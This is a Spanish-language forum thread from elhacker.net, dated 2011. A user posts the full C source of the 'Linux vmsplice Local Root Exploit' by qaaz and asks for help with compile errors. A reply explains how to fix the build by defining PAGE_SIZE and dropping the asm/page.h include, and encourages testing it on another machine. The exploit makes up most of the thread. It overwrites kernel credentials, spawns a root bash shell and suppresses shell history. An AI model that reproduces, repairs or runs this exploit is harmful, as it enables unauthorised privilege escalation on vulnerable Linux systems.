elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  [Exploit] Error al Compilar exploit (Solucionado)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Exploit] Error al Compilar exploit (Solucionado)  (Leído 4,788 veces)
moikano→@


Desconectado Desconectado

Mensajes: 572


Cultiva tu mente y cuerpo, son tu única propiedad


Ver Perfil WWW
[Exploit] Error al Compilar exploit (Solucionado)
« en: 9 Noviembre 2011, 21:36 pm »

Hola

No manejo muy bien las compilaciones aún, tanto de programas como de trozos de programas, como es este exploit.
El caso es que estoy intentando compilar el siguiente código.

Código:
/*
 * jessica_biel_naked_in_my_bed.c
 *
 * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
 * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
 * Stejnak je to stare jak cyp a aj jakesyk rozbite.
 *
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.17 - 2.6.24.1
 *
 * This is quite old code and I had to rewrite it to even compile.
 * It should work well, but I don't remeber original intent of all
 * the code, so I'm not 100% sure about it. You've been warned ;)
 *
 * -static -Wno-format
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>
 
#define PIPE_BUFFERS    16
#define PG_compound 14
#define uint        unsigned int
#define static_inline   static inline __attribute__((always_inline))
#define STACK(x)    (x + sizeof(x) - 40)
 
struct page {
    unsigned long flags;
    int count;
    int mapcount;
    unsigned long private;
    void *mapping;
    unsigned long index;
    struct { long next, prev; } lru;
};
 
void    exit_code();
char    exit_stack[1024 * 1024];
 
void    die(char *msg, int err)
{
    printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
    fflush(stdout);
    fflush(stderr);
    exit(1);
}
 
#if defined (__i386__)
 
#ifndef __NR_vmsplice
#define __NR_vmsplice   316
#endif
 
#define USER_CS     0x73
#define USER_SS     0x7b
#define USER_FL     0x246
 
static_inline
void    exit_kernel()
{
    __asm__ __volatile__ (
    "movl %0, 0x10(%%esp) ;"
    "movl %1, 0x0c(%%esp) ;"
    "movl %2, 0x08(%%esp) ;"
    "movl %3, 0x04(%%esp) ;"
    "movl %4, 0x00(%%esp) ;"
    "iret"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        "i" (USER_CS), "r" (exit_code)
    );
}
 
static_inline
void *  get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
    "movl %%esp, %%eax ;"
    "andl %1, %%eax ;"
    "movl (%%eax), %0"
    : "=r" (curr)
    : "i" (~8191)
    );
    return (void *) curr;
}
 
#elif defined (__x86_64__)
 
#ifndef __NR_vmsplice
#define __NR_vmsplice   278
#endif
 
#define USER_CS     0x23
#define USER_SS     0x2b
#define USER_FL     0x246
 
static_inline
void    exit_kernel()
{
    __asm__ __volatile__ (
    "swapgs ;"
    "movq %0, 0x20(%%rsp) ;"
    "movq %1, 0x18(%%rsp) ;"
    "movq %2, 0x10(%%rsp) ;"
    "movq %3, 0x08(%%rsp) ;"
    "movq %4, 0x00(%%rsp) ;"
    "iretq"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        "i" (USER_CS), "r" (exit_code)
    );
}
 
static_inline
void *  get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
    "movq %%gs:(0), %0"
    : "=r" (curr)
    );
    return (void *) curr;
}
 
#else
#error "unsupported arch"
#endif
 
#if defined (_syscall4)
#define __NR__vmsplice  __NR_vmsplice
_syscall4(
    long, _vmsplice,
    int, fd,
    struct iovec *, iov,
    unsigned long, nr_segs,
    unsigned int, flags)
 
#else
#define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
 
static uint uid, gid;
 
void    kernel_code()
{
    int i;
    uint    *p = get_current();
 
    for (i = 0; i < 1024-13; i++) {
        if (p[0] == uid && p[1] == uid &&
            p[2] == uid && p[3] == uid &&
            p[4] == gid && p[5] == gid &&
            p[6] == gid && p[7] == gid) {
            p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (uint *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }  
 
    exit_kernel();
}
 
void    exit_code()
{
    if (getuid() != 0)
        die("wtf", 0);
 
    printf("[+] root\n");
    putenv("HISTFILE=/dev/null");
    execl("/bin/bash", "bash", "-i", NULL);
    die("/bin/bash", errno);
}
 
int main(int argc, char *argv[])
{
    int     pi[2];
    size_t      map_size;
    char *      map_addr;
    struct iovec    iov;
    struct page *   pages[5];
 
    uid = getuid();
    gid = getgid();
    setresuid(uid, uid, uid);
    setresgid(gid, gid, gid);
 
    printf("-----------------------------------\n");
    printf(" Linux vmsplice Local Root Exploit\n");
    printf(" By qaaz\n");
    printf("-----------------------------------\n");
 
    if (!uid || !gid)
        die("!@#$", 0);
 
    /*****/
    pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
    pages[1] = pages[0] + 1;
 
    map_size = PAGE_SIZE;
    map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);
 
    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[0]);
    printf("[+] page: 0x%lx\n", pages[1]);
 
    pages[0]->flags    = 1 << PG_compound;
    pages[0]->private  = (unsigned long) pages[0];
    pages[0]->count    = 1;
    pages[1]->lru.next = (long) kernel_code;
 
    /*****/
    pages[2] = *(void **) pages[0];
    pages[3] = pages[2] + 1;
 
    map_size = PAGE_SIZE;
    map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);
 
    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[2]);
    printf("[+] page: 0x%lx\n", pages[3]);
 
    pages[2]->flags    = 1 << PG_compound;
    pages[2]->private  = (unsigned long) pages[2];
    pages[2]->count    = 1;
    pages[3]->lru.next = (long) kernel_code;
 
    /*****/
    pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
    map_size = PAGE_SIZE;
    map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);
    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[4]);
 
    /*****/
    map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
    map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);
 
    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
 
    /*****/
    map_size -= 2 * PAGE_SIZE;
    if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
        die("munmap", errno);
 
    /*****/
    if (pipe(pi) < 0) die("pipe", errno);
    close(pi[0]);
 
    iov.iov_base = map_addr;
    iov.iov_len  = ULONG_MAX;
 
    signal(SIGPIPE, exit_code);
    _vmsplice(pi[1], &iov, 1, 0);
    die("vmsplice", errno);
    return 0;
}

Y me sale el siguiente error al intentar compilar con el siguiente comando: $ gcc exploit.c -o exploit

Código:
vmsplice.c:12:22: error: asm/page.h: No existe el fichero o el directorio
vmsplice.c: In function ‘main’:
vmsplice.c:193: error: ‘PAGE_SIZE’ undeclared (first use in this function)
vmsplice.c:193: error: (Each undeclared identifier is reported only once
vmsplice.c:193: error: for each function it appears in.)
vmsplice.c:203: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:203: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’
vmsplice.c:204: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:205: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:223: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:223: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’
vmsplice.c:224: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:225: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:240: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:240: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’
vmsplice.c:241: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:251: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:251: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’

El exploit es el de vmslice, de escalada de privilegios local en Linux.

Supongo que el problema está en que me faltan cabeceras, ya que por ahí lo pone, pero no se como conseguirlas.

Y otra pregunta, si yo compilo el exploit en mi Ubuntu y quiero probar el exploit en un Ubuntu diferente no tendré que volver a compilarlo verdad?

Gracias de antemano.
« Última modificación: 10 Noviembre 2011, 15:29 pm por moikano→@ » En línea

Ivanchuk


Desconectado Desconectado

Mensajes: 469


LLVM


Ver Perfil WWW
Re: [Exploit] Error al Compilar exploit
« Respuesta #1 en: 9 Noviembre 2011, 22:50 pm »

Tenes que tener el source de tu kernel. Si es ese error solamente, podes fijarte el tamano de pagina virtual que tenes con
Código
  1. getconf PAGESIZE

A mi por ejemplo me da 4096. Despues de los includes agrega el define y listo!

Código
  1. #define PAGE_SIZE 4096

Si queres probar el exploit en otra maquina, vas a tener que recompilarlo. Si son ubuntu las dos maquinas puede ser que funcione, tendrias que probarlo.

EDIT: ah y saca el include de page.h

Saludos
« Última modificación: 9 Noviembre 2011, 22:52 pm por Ivanchuk » En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
moikano→@


Desconectado Desconectado

Mensajes: 572


Cultiva tu mente y cuerpo, son tu única propiedad


Ver Perfil WWW
Re: [Exploit] Error al Compilar exploit
« Respuesta #2 en: 9 Noviembre 2011, 23:12 pm »

Icé lo que me explicaste y funciono, pero siguien saliendo los warnings :

Código:
vmsplice.c:203: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:203: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’
vmsplice.c:204: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:205: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:223: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:223: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’
vmsplice.c:224: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:225: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:240: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:240: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’
vmsplice.c:241: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:251: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:251: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’

Es normal?

Gracias por la explicación, por cierto, si el kernel es también 4096 en la otra máquina debería funcionar?
En línea

Ivanchuk


Desconectado Desconectado

Mensajes: 469


LLVM


Ver Perfil WWW
Re: [Exploit] Error al Compilar exploit
« Respuesta #3 en: 10 Noviembre 2011, 09:13 am »

Si, es normal esos warnings.

Citar
Gracias por la explicación, por cierto, si el kernel es también 4096 en la otra máquina debería funcionar?
Bueno deberia, el problema que podes llegar a tener es con las libs dinamicas. Probalo nomas, como mucho se bloquea la maquina. Reinicias y listo.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
moikano→@


Desconectado Desconectado

Mensajes: 572


Cultiva tu mente y cuerpo, son tu única propiedad


Ver Perfil WWW
Re: [Exploit] Error al Compilar exploit
« Respuesta #4 en: 10 Noviembre 2011, 15:28 pm »

Ok gracias Ivanchuk.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines